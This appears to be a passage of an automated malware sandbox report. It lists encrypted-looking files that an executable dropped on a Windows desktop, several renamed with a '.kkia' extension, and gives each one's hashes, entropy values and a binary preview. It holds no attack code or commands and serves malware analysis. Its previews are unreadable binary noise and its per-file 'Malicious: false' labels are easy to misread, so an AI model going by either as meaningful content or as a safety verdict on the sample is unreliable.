Preview:	DUUDT.....b....#n.5..\|1]..>@.'.l...$.......1..].;.....wQ}...c..?+..J..'e)`R.,..N7..}..I....X....$7Ql:w.....i3....[H...d..9..6..%C(..LF....!z.\|..^..-..d..r.....)...`.C..S..;..2.v..VDK.......i.....NJ....n..r.....?..)..1...O* .V../..&.._.bXH..<6:\...?.m. HB({.5.. >a....L...U...W.v.D...>.....O.[..`.X..O ..V.A.5$T9.h........8..H. 0.x.u.WZ..dD..&...Q...v1 ......X.@MFn(.fG....dm.^.u.+g.j..].....(II?.p......z.B\.....>OB.M..E.6\|k..@]..1/s..DCk.&.,.z......Q3.......J,..-.r.z\|.q....7...3W.6I~.....I........a..1..%...Os.&v....d.wK..e...9<..p(.t%..~1..<,..\|t...9O..p..I.......(8.nO.G...).R.......iW.t._dH.}^F.#.PI....3nJX.....]f...).\|.o._......r...)..k...NJ?.\|.F\|.PD..".....;.lDZr.8.....\|D.n..........}#:.b.sx...1.v..yxH:!...;.b.`'..l..r..S?8;.ne...w...R.d.Z5..h.........h.E?Z....EU......XSny...f.>1........y..>y.=..;.#.K.#..Z...fZ......5.e.....u.....!*.E....8..Qy..y..\..aE....l..8.,...6)..I...^.e.".t}(xHBS.F.ps..I=...).....Vi_...V.......MN.~.w..M...4..

C:\Users\user\Desktop\DUUDTUBZFW.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840117829622213
Encrypted:	false
SSDEEP:	24:r6M72AqiW1BY+5IUoetR0c+9jagF9wwHV7bkcQj0riblOtzYW2L6DkbD:r62dsCEYcWj/ewVocQg2blQk/L6SD
MD5:	A4E890BCA5136ACA41474E0EF8BB2B15
SHA1:	6D86EFFE4679B962584C236A0B0DC6B85753C8C6
SHA-256:	CE4C429E23DF29896CD7684E1B38FD91FEAA9D6F570284FEE7F01F8B0CB78BF5
SHA-512:	E04198432079F37E3D8C0F8D91A7D11FE4621287FACD109AE5E1187300822E033210DEEA2EE9542B61963A0F0C365C1F15C022D069AD6378FEA54BCB78A5068C
Malicious:	false
Preview:	DUUDT.....b....#n.5..\|1]..>@.'.l...$.......1..].;.....wQ}...c..?+..J..'e)`R.,..N7..}..I....X....$7Ql:w.....i3....[H...d..9..6..%C(..LF....!z.\|..^..-..d..r.....)...`.C..S..;..2.v..VDK.......i.....NJ....n..r.....?..)..1...O* .V../..&.._.bXH..<6:\...?.m. HB({.5.. >a....L...U...W.v.D...>.....O.[..`.X..O ..V.A.5$T9.h........8..H. 0.x.u.WZ..dD..&...Q...v1 ......X.@MFn(.fG....dm.^.u.+g.j..].....(II?.p......z.B\.....>OB.M..E.6\|k..@]..1/s..DCk.&.,.z......Q3.......J,..-.r.z\|.q....7...3W.6I~.....I........a..1..%...Os.&v....d.wK..e...9<..p(.t%..~1..<,..\|t...9O..p..I.......(8.nO.G...).R.......iW.t._dH.}^F.#.PI....3nJX.....]f...).\|.o._......r...)..k...NJ?.\|.F\|.PD..".....;.lDZr.8.....\|D.n..........}#:.b.sx...1.v..yxH:!...;.b.`'..l..r..S?8;.ne...w...R.d.Z5..h.........h.E?Z....EU......XSny...f.>1........y..>y.=..;.#.K.#..Z...fZ......5.e.....u.....!*.E....8..Qy..y..\..aE....l..8.,...6)..I...^.e.".t}(xHBS.F.ps..I=...).....Vi_...V.......MN.~.w..M...4..

C:\Users\user\Desktop\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846233088610385
Encrypted:	false
SSDEEP:	24:IMNgEbou0xWhtNXUYosG53J9CRYSnHj1i/kWekqrb5AavjBeDLWSPkbD:XNgEx0xWLasGpwYKHj1i/kL2EsJWD
MD5:	0B9584890B08CBFFD00E5FD285B669BF
SHA1:	32A0A3B32225E59B06B54EFEFC4A249B20A7DDD5
SHA-256:	AE6BE4F6422378CB634469139AC5E9C8769907A43150527FE5F7BB3CFFCCE0D3
SHA-512:	0D11E7822DBEE5CA3083F85E0177EF72D63FC6E7BC8E151CC093415710A55B75799CA7E761869AE063AE3653FFADE2D3FB8520C3C8A2AE967F28C724E6C6DA0E
Malicious:	false
Preview:	EEGWXg...;P....y.>^O...vY.....g....l....:.o.).Z5..@.....~..p..k..B........~........A!.+...sfI..+%S?.T......,..\6\.......M.;..d=.[5....1...h=-..Z.s...[......j...mK......f.a.#.gv.Q...e.p.1L'.i...t.....`.}1L>X6...!D$-....o$...S.;.5..5m.gU...)...51...;.\|.F.gR....o...Hf..QRA.SED.!Mbm.C..'..3.C,....C...]..>..YM...0..P...X.,.+..M.(I...X......&..;.3....ib.0(..u.y...;.V.?J'V...P...k.../..Zf....Z.#;]Y.....~^+x.K.T....\.^iIY.>.w}.\|.<...#..>X5...3.n.x.7......3}..4q.J.S.../.."...MyDq>Y/./........\|..U."...?..............dWu..k..`...I...y...8.;.X.x..L.s...:o?.H./-..e......QR......i'.#Z......&.Y....>w...V-...D`,....=.].......)<.eV..j..S.e..J.....?<.la.#.xb._.k.#jyw.....=.......0...3.Y.q.s]..s.K.?.4lk...>..aGqs.V.o....'.9t .0( ....n..f......<.p.....r..Qd..\........6.Za,kb..^4.v!9.......>eE...0....im....g..v.1Q.DY'..[.G.@x..x.{.n..........A..KD:'V4.U]....5.uM..x`.E...Yr..Xn.?.%7uf..F......8..RI_i.....)K.mlnu D..4...g...C..../.......Z.B.t..%.j.*.j.#7.....

C:\Users\user\Desktop\EEGWXUHVUG.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846233088610385
Encrypted:	false
SSDEEP:	24:IMNgEbou0xWhtNXUYosG53J9CRYSnHj1i/kWekqrb5AavjBeDLWSPkbD:XNgEx0xWLasGpwYKHj1i/kL2EsJWD
MD5:	0B9584890B08CBFFD00E5FD285B669BF
SHA1:	32A0A3B32225E59B06B54EFEFC4A249B20A7DDD5
SHA-256:	AE6BE4F6422378CB634469139AC5E9C8769907A43150527FE5F7BB3CFFCCE0D3
SHA-512:	0D11E7822DBEE5CA3083F85E0177EF72D63FC6E7BC8E151CC093415710A55B75799CA7E761869AE063AE3653FFADE2D3FB8520C3C8A2AE967F28C724E6C6DA0E
Malicious:	false
Preview:	EEGWXg...;P....y.>^O...vY.....g....l....:.o.).Z5..@.....~..p..k..B........~........A!.+...sfI..+%S?.T......,..\6\.......M.;..d=.[5....1...h=-..Z.s...[......j...mK......f.a.#.gv.Q...e.p.1L'.i...t.....`.}1L>X6...!D$-....o$...S.;.5..5m.gU...)...51...;.\|.F.gR....o...Hf..QRA.SED.!Mbm.C..'..3.C,....C...]..>..YM...0..P...X.,.+..M.(I...X......&..;.3....ib.0(..u.y...;.V.?J'V...P...k.../..Zf....Z.#;]Y.....~^+x.K.T....\.^iIY.>.w}.\|.<...#..>X5...3.n.x.7......3}..4q.J.S.../.."...MyDq>Y/./........\|..U."...?..............dWu..k..`...I...y...8.;.X.x..L.s...:o?.H./-..e......QR......i'.#Z......&.Y....>w...V-...D`,....=.].......)<.eV..j..S.e..J.....?<.la.#.xb._.k.#jyw.....=.......0...3.Y.q.s]..s.K.?.4lk...>..aGqs.V.o....'.9t .0( ....n..f......<.p.....r..Qd..\........6.Za,kb..^4.v!9.......>eE...0....im....g..v.1Q.DY'..[.G.@x..x.{.n..........A..KD:'V4.U]....5.uM..x`.E...Yr..Xn.?.%7uf..F......8..RI_i.....)K.mlnu D..4...g...C..../.......Z.B.t..%.j.*.j.#7.....

C:\Users\user\Desktop\EEGWXUHVUG.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851328429867012
Encrypted:	false
SSDEEP:	24:ofmUHe/zQBhL2MtZyRGl5pzzLHUloBfqiDPOg+8F7ikIuiKkCXkbD:of1e/z2P9FfglaqiPOg+FzJD
MD5:	1B1B90B196A0D2D12C4BD1F5426D7F4E
SHA1:	97CB1AEB197349BD5DA1906BFC0874DB095EA165
SHA-256:	01FF8AB75228D358D0C1C20DF082517DAD09BA1962E0DED7B2F91B4FEE326E95
SHA-512:	C36C46388F6B99CDFA17461E193E679A12FB65AECC0139B165B74FF3D432950A94DC1D6FF20A6D80046DFB511873CEB8814C5845B6FFF77DC3221C9311E97686
Malicious:	false
Preview:	EEGWX...>.\|......e\)=......?.%.kZ..MK.$t....^Zl.q.,..D......Mz..Y!].+.X_.>.X........EO.....zE..S.f4.^!.......P..Lx.F.N..k.A.....Q.;c)...K.(...{....o....7.?.J.K.-u....f5...>...c..p..$j..:!..#?...9.B3n4.K...^h......5.4#...,.........4.r.h.....N...e$..]....USEE.j.d.....j........B...]..1..y`..p..Gu.....+..k...I...>WpJO.[8.d..w......ys j..e....)....).R.Yk.fIN.Iv.$...Dp7..i.D......./.'f..xT.S`..$...}v4k.e..~.,,/.e2._..;U..Y...Z..EW.....:..z.a.......%j#.....[.l....19...!.....?..c.=..2.X..T..[Y..W..g..0.w[....l....Tt.G.......1=..<..H.?...wv.....2.{N......j5....,.k..r.NP..y....3Ojz...o....[G....=kZ....{K$OC..........E..;...G.k.....3.f\.z.4=..@...f?%..Z3.L{l.hY..~.1..z$.'dO..A.wa............y.[#kO..)...L...b!..,.bD.......\|...`.o.......k...+..xv]y#..Xj{,TB..?....hV.I[X.s....pDde.....#r....w=;.R. .M.8...>.%...J. p#n7E...E\|.+..)%A.".......@../l..]..........F....0...oC...H.q.......w.c.{.c:.p.Y....y..[..H.L.Nz^.V.9(.F.=...VES...:....{..7f.@.MJ

C:\Users\user\Desktop\EEGWXUHVUG.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851328429867012
Encrypted:	false
SSDEEP:	24:ofmUHe/zQBhL2MtZyRGl5pzzLHUloBfqiDPOg+8F7ikIuiKkCXkbD:of1e/z2P9FfglaqiPOg+FzJD
MD5:	1B1B90B196A0D2D12C4BD1F5426D7F4E
SHA1:	97CB1AEB197349BD5DA1906BFC0874DB095EA165
SHA-256:	01FF8AB75228D358D0C1C20DF082517DAD09BA1962E0DED7B2F91B4FEE326E95
SHA-512:	C36C46388F6B99CDFA17461E193E679A12FB65AECC0139B165B74FF3D432950A94DC1D6FF20A6D80046DFB511873CEB8814C5845B6FFF77DC3221C9311E97686
Malicious:	false
Preview:	EEGWX...>.\|......e\)=......?.%.kZ..MK.$t....^Zl.q.,..D......Mz..Y!].+.X_.>.X........EO.....zE..S.f4.^!.......P..Lx.F.N..k.A.....Q.;c)...K.(...{....o....7.?.J.K.-u....f5...>...c..p..$j..:!..#?...9.B3n4.K...^h......5.4#...,.........4.r.h.....N...e$..]....USEE.j.d.....j........B...]..1..y`..p..Gu.....+..k...I...>WpJO.[8.d..w......ys j..e....)....).R.Yk.fIN.Iv.$...Dp7..i.D......./.'f..xT.S`..$...}v4k.e..~.,,/.e2._..;U..Y...Z..EW.....:..z.a.......%j#.....[.l....19...!.....?..c.=..2.X..T..[Y..W..g..0.w[....l....Tt.G.......1=..<..H.?...wv.....2.{N......j5....,.k..r.NP..y....3Ojz...o....[G....=kZ....{K$OC..........E..;...G.k.....3.f\.z.4=..@...f?%..Z3.L{l.hY..~.1..z$.'dO..A.wa............y.[#kO..)...L...b!..,.bD.......\|...`.o.......k...+..xv]y#..Xj{,TB..?....hV.I[X.s....pDde.....#r....w=;.R. .M.8...>.%...J. p#n7E...E\|.+..)%A.".......@../l..]..........F....0...oC...H.q.......w.c.{.c:.p.Y....y..[..H.L.Nz^.V.9(.F.=...VES...:....{..7f.@.MJ

C:\Users\user\Desktop\EEGWXUHVUG\DUUDTUBZFW.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845850393418381
Encrypted:	false
SSDEEP:	24:FVfEcl1Kg/IBJiiSPplDHGSkILWa2OiD96UJ0b8hakDRv/Iv4lbGmO5+ERgDjkbD:vfEGtIBaRlvkILWaKJ0eVXIv4ly5RvD
MD5:	FA1290901403083EE845BF078160C83C
SHA1:	05A4612DA5B782E2842923132E3E80D47640BB5C
SHA-256:	D60977F77F43B1722322D8A32383F06AAC95DBF18A5B3F39FE9F11053FB8AB90
SHA-512:	284B33271233A6B721F0A78788E2D86F1E57E4D2820E0B42855F40A9157685DEB356BC5456B4C7CF69D28DEEA6E86BD503E988DFE0BBABD9ED2F9FDC0AA58AB2
Malicious:	false
Preview:	DUUDT.!...Y....p...H}.........t..GJ..C........l...a{]. ..uJjr......-Wo\|.'z.`..a. Z..I7......s.N.Oz<.2G..U7.>......d>.....a.M8.t,.U.@.K.R9\|n..#=7.@.Mf.,.7.Rxt....,..I.O...l....H.S.p.....mW.DH>...6..F...uc.iI.=......x-.kl....O....T.-w....1.H..-.Ca..(..[.............Vv?a...A..,.....{..l...XE.....p.....5...='...".5?...n...........I.C......d"............Wp{..}w....\j5.b@..Y..,.O.VS...l..X..t...3....`t J..(-..;x^..@...Bi.i.d~..?...Xg.?...;...x....x.`..T.82HJM.ze...jdO.d.....k..o...{....}..S...O..]........(..N....=Kq.fr'..0TM.y .9z.\.d#Yo..(..7.~R.u.p...I.N...R...D...{.6.o......c.dC.......[Z....HxS..~I.u.5KL.Z..u...?.:...r9P.;....'$.u..\t..~.n&.h.s=.X....7Ep...LH.....F..S8 q......g6_.H."qj.w>..(..q...?k......".vUt........p.'.r.A.b.W.FP9...XR.../g.+..#(=....o.8..Y..?.!....(Q........98...+...._.o('.P...;....O.""............[.....!Y......*..........y.+j!@..P3<.....46w.V.A.WGD......J8.....n9..#ko..Z..#G.XP6...X....vB....%.&..@

C:\Users\user\Desktop\EEGWXUHVUG\DUUDTUBZFW.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845850393418381
Encrypted:	false
SSDEEP:	24:FVfEcl1Kg/IBJiiSPplDHGSkILWa2OiD96UJ0b8hakDRv/Iv4lbGmO5+ERgDjkbD:vfEGtIBaRlvkILWaKJ0eVXIv4ly5RvD
MD5:	FA1290901403083EE845BF078160C83C
SHA1:	05A4612DA5B782E2842923132E3E80D47640BB5C
SHA-256:	D60977F77F43B1722322D8A32383F06AAC95DBF18A5B3F39FE9F11053FB8AB90
SHA-512:	284B33271233A6B721F0A78788E2D86F1E57E4D2820E0B42855F40A9157685DEB356BC5456B4C7CF69D28DEEA6E86BD503E988DFE0BBABD9ED2F9FDC0AA58AB2
Malicious:	false
Preview:	DUUDT.!...Y....p...H}.........t..GJ..C........l...a{]. ..uJjr......-Wo\|.'z.`..a. Z..I7......s.N.Oz<.2G..U7.>......d>.....a.M8.t,.U.@.K.R9\|n..#=7.@.Mf.,.7.Rxt....,..I.O...l....H.S.p.....mW.DH>...6..F...uc.iI.=......x-.kl....O....T.-w....1.H..-.Ca..(..[.............Vv?a...A..,.....{..l...XE.....p.....5...='...".5?...n...........I.C......d"............Wp{..}w....\j5.b@..Y..,.O.VS...l..X..t...3....`t J..(-..;x^..@...Bi.i.d~..?...Xg.?...;...x....x.`..T.82HJM.ze...jdO.d.....k..o...{....}..S...O..]........(..N....=Kq.fr'..0TM.y .9z.\.d#Yo..(..7.~R.u.p...I.N...R...D...{.6.o......c.dC.......[Z....HxS..~I.u.5KL.Z..u...?.:...r9P.;....'$.u..\t..~.n&.h.s=.X....7Ep...LH.....F..S8 q......g6_.H."qj.w>..(..q...?k......".vUt........p.'.r.A.b.W.FP9...XR.../g.+..#(=....o.8..Y..?.!....(Q........98...+...._.o('.P...;....O.""............[.....!Y......*..........y.+j!@..P3<.....46w.V.A.WGD......J8.....n9..#ko..Z..#G.XP6...X....vB....%.&..@

C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828698380338469
Encrypted:	false
SSDEEP:	24:ARSFtTIaOKZiYZt3wNdzHN1rKzcbyQpW0FmHQf4wBbR50lIkbD:A6tTzO0jzKzt1xbBI0snk0nD
MD5:	133A39EE13544D537DEAD8882707637F
SHA1:	03FF14A60AB271B61CAED9D0F91EAD677831FB2D
SHA-256:	DD09CC9CFA12221A8EB0D129D278AA39E8FD180557A64F61006130F0DCEB03D5
SHA-512:	E450D074D5E1B25705203EDB645267AC3A4C24497B39576884D9BE1B468296A8C00084781638B2ED8F6E5DCFA789135C7DBD2DA48F30CE10BABDD7804E4487FB
Malicious:	false
Preview:	EEGWX..s.....6...&..P.oC.)...(..$...P...s.X:_X.....Q.z.%.Y).,....z;..dR&.t..F.l...d.c..d...Eh.S$..`.1P..A.........~.......>i.Z\7.OD=3F..s....k.K..x..1....C. .?..=.G.a.-.f2qmsu......`..k.R..6.byc [W..?.....`h...N.....ng.Y".#@....).uG........fx......,.# .HS.....cT.1......w..`.......^<yn.p].wJV.S.....q\...7..W&D.4T`..C../..m;........Ey..$...W(.....o.S.`.'.O.{.z.?S.....\.y.....e.........}..U.r8.#eXW.G.q...n.a.....5.w..J. .e.B....u.b...`.\.....?.&jM{.Vd..0......4.9..y......=..N5.U.....k@#.G.../......`...?...O.T=.\..A..Ywp.h.h.a..Le.{.xC^.g=L.J9wi.l..}.`:...Ker.^%(qqN.........-..j1.b......D1]jQ....Y.u5..../..4.2.sF..Z.....a..q..9WJ....W...5...m..r...,....Gl.D....$.SJE..9f.o=b..0.H.s,4khpE..`.2D...\|..U.....O8.09),'K.3..E.".R3]^...P.'....D..3M/.Q2p@.p.#M;f.....Y/...3B....dzn..=.t..q...un.v.C..Ct.......U.gJ=..3.Bi.....k\|.]...S9..uE.nd....v.N[).g.B.....B.g....e....X6..D.`.....e...%.A.8..>..7%..." ..D.a.)..\.. .B`.7..xJ.>.....yl."...w}...<.r.H...

C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828698380338469
Encrypted:	false
SSDEEP:	24:ARSFtTIaOKZiYZt3wNdzHN1rKzcbyQpW0FmHQf4wBbR50lIkbD:A6tTzO0jzKzt1xbBI0snk0nD
MD5:	133A39EE13544D537DEAD8882707637F
SHA1:	03FF14A60AB271B61CAED9D0F91EAD677831FB2D
SHA-256:	DD09CC9CFA12221A8EB0D129D278AA39E8FD180557A64F61006130F0DCEB03D5
SHA-512:	E450D074D5E1B25705203EDB645267AC3A4C24497B39576884D9BE1B468296A8C00084781638B2ED8F6E5DCFA789135C7DBD2DA48F30CE10BABDD7804E4487FB
Malicious:	false
Preview:	EEGWX..s.....6...&..P.oC.)...(..$...P...s.X:_X.....Q.z.%.Y).,....z;..dR&.t..F.l...d.c..d...Eh.S$..`.1P..A.........~.......>i.Z\7.OD=3F..s....k.K..x..1....C. .?..=.G.a.-.f2qmsu......`..k.R..6.byc [W..?.....`h...N.....ng.Y".#@....).uG........fx......,.# .HS.....cT.1......w..`.......^<yn.p].wJV.S.....q\...7..W&D.4T`..C../..m;........Ey..$...W(.....o.S.`.'.O.{.z.?S.....\.y.....e.........}..U.r8.#eXW.G.q...n.a.....5.w..J. .e.B....u.b...`.\.....?.&jM{.Vd..0......4.9..y......=..N5.U.....k@#.G.../......`...?...O.T=.\..A..Ywp.h.h.a..Le.{.xC^.g=L.J9wi.l..}.`:...Ker.^%(qqN.........-..j1.b......D1]jQ....Y.u5..../..4.2.sF..Z.....a..q..9WJ....W...5...m..r...,....Gl.D....$.SJE..9f.o=b..0.H.s,4khpE..`.2D...\|..U.....O8.09),'K.3..E.".R3]^...P.'....D..3M/.Q2p@.p.#M;f.....Y/...3B....dzn..=.t..q...un.v.C..Ct.......U.gJ=..3.Bi.....k\|.]...S9..uE.nd....v.N[).g.B.....B.g....e....X6..D.`.....e...%.A.8..>..7%..." ..D.a.)..\.. .B`.7..xJ.>.....yl."...w}...<.r.H...

C:\Users\user\Desktop\EEGWXUHVUG\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835652984197577
Encrypted:	false
SSDEEP:	24:RZzy5Eu6v8dvWuAdPnEIhrlVwHvOSNNMgqE3wEW5sjR8MhSnwEkbD:7q6GzAdPEIhbwHvOAqkwEWIu3gD
MD5:	0280D81027C9DB0FC4B9FF5A018ADDCF
SHA1:	90E407427802716DAE24D2339FA602F20EBE82CD
SHA-256:	79BD243E6AD94C7271F59B63FA32BD0E538B278DC2B077FFA080455E491C3DB5
SHA-512:	BBFBC79EB50E728E1817B1EB1A65133103DE3BA235069F261104F2B57A8E35B34F9342E05E4000625285D589A980ADB0C98088643F32832B7DA32EE801DADD2E
Malicious:	false
Preview:	EIVQS..r.f...7.4A..9'.2_4.!......R.`.....S...L.N...X.9...,.:OV.-8.jh.K.p(...z..D....^...8...V.D.....0...n.@.{~;..k.Nn...AO%..$..c.X..k..........x.y....=1...x.>..mK...2-w..s..r...=]......q..+.Rpi..T.fP..5$...R.....I..y.5pg +...N5.._..O..wM..u<..3.s...y..Tze{].h.y.#w.%..\I.F...jQ..Y.$......\#P=......B.{7a.......R8.5....b.......k.G..of.I9.P..9..0C..d...<..-J..~.2...r.......`.N.O.JRS.....p._...S...1.qm-svV.Q..=..i^...T....S.i....i....>D......O....G.f..K...h).b....0d.."..f..f<.Im.m...T..g......Sz.&.....'.#W>..=...4.......6}..%...<...>.p.We...d..Qf.s..............@D.e.....y......un\l..~w.j.r15...9..L..... ..\|Pmt.0<.C.]6....yG..,.6..\|V6. Z.Q>?..9O..f..;.^6.Q.sV.(]..}.. .i...$+ ..[.Y..X.T.f.O......{.(...D@.V.7.MJG.:M.p.'.......p.....{......cj.i...Y...e..\Mi./...."iA.......?.....q8.(L'.k.n.....01k@.!d....R~..u.Fpt.1'.G.]..c..=..y.;.x.Db.E..wZv.....j..a.(..Z..1Ubq.....%2.".F.b....,.........h.$...%c.=.G$-NT.....l..8.k...7.Q^<.W..N..d..&C."..E......'.'..Yz...(.9

C:\Users\user\Desktop\EEGWXUHVUG\EIVQSAOTAQ.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835652984197577
Encrypted:	false
SSDEEP:	24:RZzy5Eu6v8dvWuAdPnEIhrlVwHvOSNNMgqE3wEW5sjR8MhSnwEkbD:7q6GzAdPEIhbwHvOAqkwEWIu3gD
MD5:	0280D81027C9DB0FC4B9FF5A018ADDCF
SHA1:	90E407427802716DAE24D2339FA602F20EBE82CD
SHA-256:	79BD243E6AD94C7271F59B63FA32BD0E538B278DC2B077FFA080455E491C3DB5
SHA-512:	BBFBC79EB50E728E1817B1EB1A65133103DE3BA235069F261104F2B57A8E35B34F9342E05E4000625285D589A980ADB0C98088643F32832B7DA32EE801DADD2E
Malicious:	false
Preview:	EIVQS..r.f...7.4A..9'.2_4.!......R.`.....S...L.N...X.9...,.:OV.-8.jh.K.p(...z..D....^...8...V.D.....0...n.@.{~;..k.Nn...AO%..$..c.X..k..........x.y....=1...x.>..mK...2-w..s..r...=]......q..+.Rpi..T.fP..5$...R.....I..y.5pg +...N5.._..O..wM..u<..3.s...y..Tze{].h.y.#w.%..\I.F...jQ..Y.$......\#P=......B.{7a.......R8.5....b.......k.G..of.I9.P..9..0C..d...<..-J..~.2...r.......`.N.O.JRS.....p._...S...1.qm-svV.Q..=..i^...T....S.i....i....>D......O....G.f..K...h).b....0d.."..f..f<.Im.m...T..g......Sz.&.....'.#W>..=...4.......6}..%...<...>.p.We...d..Qf.s..............@D.e.....y......un\l..~w.j.r15...9..L..... ..\|Pmt.0<.C.]6....yG..,.6..\|V6. Z.Q>?..9O..f..;.^6.Q.sV.(]..}.. .i...$+ ..[.Y..X.T.f.O......{.(...D@.V.7.MJG.:M.p.'.......p.....{......cj.i...Y...e..\Mi./...."iA.......?.....q8.(L'.k.n.....01k@.!d....R~..u.Fpt.1'.G.]..c..=..y.;.x.Db.E..wZv.....j..a.(..Z..1Ubq.....%2.".F.b....,.........h.$...%c.=.G$-NT.....l..8.k...7.Q^<.W..N..d..&C."..E......'.'..Yz...(.9

C:\Users\user\Desktop\EEGWXUHVUG\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8576244859690245
Encrypted:	false
SSDEEP:	24:YWD2Hhu9zhTdcOoSg7GbPTz44F0eIeKMRzxdf929ofRjkpWA7IOKeSFNfpxLkbD:/2HQ9zhR6k/7JxdV4EbA8O9EhxaD
MD5:	11EFFEF14A8BD48B7EAEC3B6DD49B6AD
SHA1:	6623A5E65A216C14FBE75FA01FAE8EC8E53DCBE2
SHA-256:	4969186F73F85D6DF467D7C9F161A5816E9B277E0135428895EFE5516D737B6D
SHA-512:	F8AE09886F2219FDC0A1AB3F20B0E0A320230601F2F7AA436F5996D6D952390EDA49C9544A776D716DD09C56C13D739D105542C5DD5C1D6C54BE05C32277C1CB
Malicious:	false
Preview:	GRXZD.x.../.nl...o.WUX.3..4..B.....mW.>]Yd8.....Q...W>....V....T.n.......j=...![.....=..P7z..P`{..^..kr....L..H#.....8c.g.\|..? ......im...~7_<....th.......tTN..#.....Rk...&w......L.5."... #...\|.V.:.(..xo.Y..'.....A..Z..c......B...#...9g..?3Q.O.(.\|.t. ..........Xp...bV.'@.. ..,..{S9..\i.5<7A...V.j.{.s.....1k(l.6..M..`a<.......!.H=..hB..P...{`0..m..L..:..d~........L..&}>0....+F.....t&.).?..@..."7....eZ..[...#\|...kM.+.....(.......z.={H........._l.[.>.w..\|..f..d..(v[.XJG~.WC..2.....l..X...d.)]l/...N/!p..L.]...H.K.P.d..HWa.5].?.0.T..?).+h.#.\|..z\|...Lcp..T._.ZJX...N..l..w..b2oO..n..a.....,qA....,^........4sJ}BBqf.IZ.~..u.G.S3)LG..,..6........7u.w..............bB.Y.6E..c..X.........v.....3:.\|oV".<.;/...hUKV.AC=..*-......>.......p.'0..vG.....O.<..X.V..V..:.K....@....;.(&....Q.....Rd.X....b....L.......o.65.w.......O...1.."CQ...O...<..Y.....7.c..vi..{..A...bD.3..)..Ro.[...^.....S...&3.<.v.......T`..U..../.#.pU.L....P.........E.'._...{......

C:\Users\user\Desktop\EEGWXUHVUG\GRXZDKKVDB.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8576244859690245
Encrypted:	false
SSDEEP:	24:YWD2Hhu9zhTdcOoSg7GbPTz44F0eIeKMRzxdf929ofRjkpWA7IOKeSFNfpxLkbD:/2HQ9zhR6k/7JxdV4EbA8O9EhxaD
MD5:	11EFFEF14A8BD48B7EAEC3B6DD49B6AD
SHA1:	6623A5E65A216C14FBE75FA01FAE8EC8E53DCBE2
SHA-256:	4969186F73F85D6DF467D7C9F161A5816E9B277E0135428895EFE5516D737B6D
SHA-512:	F8AE09886F2219FDC0A1AB3F20B0E0A320230601F2F7AA436F5996D6D952390EDA49C9544A776D716DD09C56C13D739D105542C5DD5C1D6C54BE05C32277C1CB
Malicious:	false
Preview:	GRXZD.x.../.nl...o.WUX.3..4..B.....mW.>]Yd8.....Q...W>....V....T.n.......j=...![.....=..P7z..P`{..^..kr....L..H#.....8c.g.\|..? ......im...~7_<....th.......tTN..#.....Rk...&w......L.5."... #...\|.V.:.(..xo.Y..'.....A..Z..c......B...#...9g..?3Q.O.(.\|.t. ..........Xp...bV.'@.. 